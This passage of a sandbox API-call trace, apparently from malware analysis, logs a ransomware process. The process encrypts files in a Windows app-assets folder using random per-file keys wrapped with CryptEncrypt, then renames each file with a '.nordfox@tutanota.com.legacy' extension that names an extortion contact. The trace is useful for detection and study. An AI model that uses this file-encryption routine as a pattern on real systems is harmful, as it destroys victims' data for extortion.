lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.989] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.989] CloseHandle (hObject=0x1830) returned 1 [0169.992] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0169.992] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0169.992] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\c15af436473071e42100b1dbcfd6348cf077917c1827ba11cf85e298c3132b47", dwFileAttributes=0x80) returned 1 [0169.993] ReadFile (in: hFile=0x1830, lpBuffer=0x33b4038, nNumberOfBytesToRead=0x20e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b4038*, lpNumberOfBytesRead=0x2e1f9bc*=0x20e, lpOverlapped=0x0) returned 1 [0170.016] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-526, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.016] WriteFile (in: hFile=0x1830, lpBuffer=0x33b5c40*, nNumberOfBytesToWrite=0x20e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b5c40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x20e, lpOverlapped=0x0) returned 1 [0170.017] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x20e [0170.017] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.017] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.017] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.018] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.018] CloseHandle (hObject=0x1830) returned 1 [0170.020] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0170.020] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0170.020] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\c0e8565df87196c9355289c99872bc431e0ba80e188bcb958e68dd5a46ace6a0", dwFileAttributes=0x80) returned 1 [0170.022] ReadFile (in: hFile=0x1830, lpBuffer=0x33b6018, nNumberOfBytesToRead=0x654e7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesRead=0x2e1f9bc*=0x654e7, lpOverlapped=0x0) returned 1 [0170.059] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-414951, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.059] WriteFile (in: hFile=0x1830, lpBuffer=0x341b508*, nNumberOfBytesToWrite=0x654e7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x341b508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x654e7, lpOverlapped=0x0) returned 1 [0170.064] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x654e7 [0170.064] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.064] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.065] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.065] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.065] CloseHandle (hObject=0x1830) returned 1 [0170.067] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0170.067] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0170.067] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\bf6eaffaa4abb8218a682c9692a23c8aeee0efe3ac621ba142e17db3fa5f8e32", dwFileAttributes=0x80) returned 1 [0170.087] ReadFile (in: hFile=0x1830, lpBuffer=0x352f020, nNumberOfBytesToRead=0x13f6a6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x352f020*, lpNumberOfBytesRead=0x2e1f9bc*=0x13f6a6, lpOverlapped=0x0) returned 1 [0170.221] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1308326, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.221] WriteFile (in: hFile=0x1830, lpBuffer=0x367e020*, nNumberOfBytesToWrite=0x13f6a6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x367e020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x13f6a6, lpOverlapped=0x0) returned 1 [0170.226] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x352f020 | out: hHeap=0x520000) returned 1 [0170.231] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x367e020 | out: hHeap=0x520000) returned 1 [0170.236] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x13f6a6 [0170.237] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.237] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.237] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.237] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.237] CloseHandle (hObject=0x1830) returned 1 [0170.238] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0170.238] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0170.238] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\bf6eaffaa4abb8218a682c9692a23c8aeee0efe3ac621ba142e17db3fa5f8e32" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\bf6eaffaa4abb8218a682c9692a23c8aeee0efe3ac621ba142e17db3fa5f8e32"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\bf6eaffaa4abb8218a682c9692a23c8aeee0efe3ac621ba142e17db3fa5f8e32.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\bf6eaffaa4abb8218a682c9692a23c8aeee0efe3ac621ba142e17db3fa5f8e32.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0170.239] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b4038 | out: hHeap=0x520000) returned 1 [0170.239] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f73df8 | out: hHeap=0x520000) returned 1 [0170.239] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f73c90 | out: hHeap=0x520000) returned 1 [0170.239] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f72d18 [0170.240] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0170.240] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0170.240] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0170.240] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0170.240] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\bf62288b682d7728ea7e07156b7ee3cd9f305e3923119fde968b31a14ac9b348", dwFileAttributes=0x80) returned 1 [0170.240] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f73b28 [0170.240] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b5c40 [0170.240] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f73b28 | out: hHeap=0x520000) returned 1 [0170.240] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\bf62288b682d7728ea7e07156b7ee3cd9f305e3923119fde968b31a14ac9b348" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\bf62288b682d7728ea7e07156b7ee3cd9f305e3923119fde968b31a14ac9b348"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0170.240] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=830) returned 1 [0170.240] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x33e) returned 0x2f74cc0 [0170.240] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x33e) returned 0x2f75008 [0170.240] ReadFile (in: hFile=0x1830, lpBuffer=0x2f74cc0, nNumberOfBytesToRead=0x33e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f74cc0*, lpNumberOfBytesRead=0x2e1f9bc*=0x33e, lpOverlapped=0x0) returned 1 [0170.241] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-830, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.241] WriteFile (in: hFile=0x1830, lpBuffer=0x2f75008*, nNumberOfBytesToWrite=0x33e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f75008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x33e, lpOverlapped=0x0) returned 1 [0170.242] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f74cc0 | out: hHeap=0x520000) returned 1 [0170.242] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f75008 | out: hHeap=0x520000) returned 1 [0170.242] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x33e [0170.242] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.242] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.242] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.242] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.242] CloseHandle (hObject=0x1830) returned 1 [0170.242] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0170.242] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0170.242] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\bf62288b682d7728ea7e07156b7ee3cd9f305e3923119fde968b31a14ac9b348" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\bf62288b682d7728ea7e07156b7ee3cd9f305e3923119fde968b31a14ac9b348"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\bf62288b682d7728ea7e07156b7ee3cd9f305e3923119fde968b31a14ac9b348.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\bf62288b682d7728ea7e07156b7ee3cd9f305e3923119fde968b31a14ac9b348.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0170.244] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b5c40 | out: hHeap=0x520000) returned 1 [0170.244] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f72d18 | out: hHeap=0x520000) returned 1 [0170.244] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f72a48 | out: hHeap=0x520000) returned 1 [0170.244] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f72bb0 [0170.244] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0170.244] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0170.244] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0170.244] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0170.244] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\ba4c61df67ca77df2dd1fb97d14697320c2c3aa5ee60aea7e23674d75e9df018", dwFileAttributes=0x80) returned 1 [0170.258] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f739c0 [0170.258] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b55c8 [0170.258] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f739c0 | out: hHeap=0x520000) returned 1 [0170.258] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\ba4c61df67ca77df2dd1fb97d14697320c2c3aa5ee60aea7e23674d75e9df018" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\ba4c61df67ca77df2dd1fb97d14697320c2c3aa5ee60aea7e23674d75e9df018"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0170.258] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=427128) returned 1 [0170.258] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x68478) returned 0x33b6018 [0170.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x68478) returned 0x341e498 [0170.260] ReadFile (in: hFile=0x1830, lpBuffer=0x33b6018, nNumberOfBytesToRead=0x68478, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesRead=0x2e1f9bc*=0x68478, lpOverlapped=0x0) returned 1 [0170.281] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-427128, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.281] WriteFile (in: hFile=0x1830, lpBuffer=0x341e498*, nNumberOfBytesToWrite=0x68478, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x341e498*, lpNumberOfBytesWritten=0x2e1f9bc*=0x68478, lpOverlapped=0x0) returned 1 [0170.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b6018 | out: hHeap=0x520000) returned 1 [0170.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x341e498 | out: hHeap=0x520000) returned 1 [0170.286] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x68478 [0170.286] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.287] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.287] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.287] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.288] CloseHandle (hObject=0x1830) returned 1 [0170.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0170.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0170.288] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\ba4c61df67ca77df2dd1fb97d14697320c2c3aa5ee60aea7e23674d75e9df018" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\ba4c61df67ca77df2dd1fb97d14697320c2c3aa5ee60aea7e23674d75e9df018"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\ba4c61df67ca77df2dd1fb97d14697320c2c3aa5ee60aea7e23674d75e9df018.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\ba4c61df67ca77df2dd1fb97d14697320c2c3aa5ee60aea7e23674d75e9df018.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0170.290] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b55c8 | out: hHeap=0x520000) returned 1 [0170.290] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f72bb0 | out: hHeap=0x520000) returned 1 [0170.290] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f74230 | out: hHeap=0x520000) returned 1 [0170.290] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f73b28 [0170.290] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0170.290] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0170.290] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0170.290] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0170.291] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\b71dabef83821ac1436c6e54eed36510be63ff7e106437b4f3d5fa2b5880d0ea", dwFileAttributes=0x80) returned 1 [0170.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f74230 [0170.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4b00 [0170.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f74230 | out: hHeap=0x520000) returned 1 [0170.291] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\b71dabef83821ac1436c6e54eed36510be63ff7e106437b4f3d5fa2b5880d0ea" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\b71dabef83821ac1436c6e54eed36510be63ff7e106437b4f3d5fa2b5880d0ea"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0170.292] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1002) returned 1 [0170.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3ea) returned 0x2f74cc0 [0170.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3ea) returned 0x2f750b8 [0170.292] ReadFile (in: hFile=0x1830, lpBuffer=0x2f74cc0, nNumberOfBytesToRead=0x3ea, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f74cc0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3ea, lpOverlapped=0x0) returned 1 [0170.300] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1002, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.300] WriteFile (in: hFile=0x1830, lpBuffer=0x2f750b8*, nNumberOfBytesToWrite=0x3ea, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f750b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3ea, lpOverlapped=0x0) returned 1 [0170.300] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f74cc0 | out: hHeap=0x520000) returned 1 [0170.300] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f750b8 | out: hHeap=0x520000) returned 1 [0170.300] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3ea [0170.300] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.300] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.301] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.301] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.301] CloseHandle (hObject=0x1830) returned 1 [0170.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0170.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0170.301] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\b71dabef83821ac1436c6e54eed36510be63ff7e106437b4f3d5fa2b5880d0ea" (normalized: 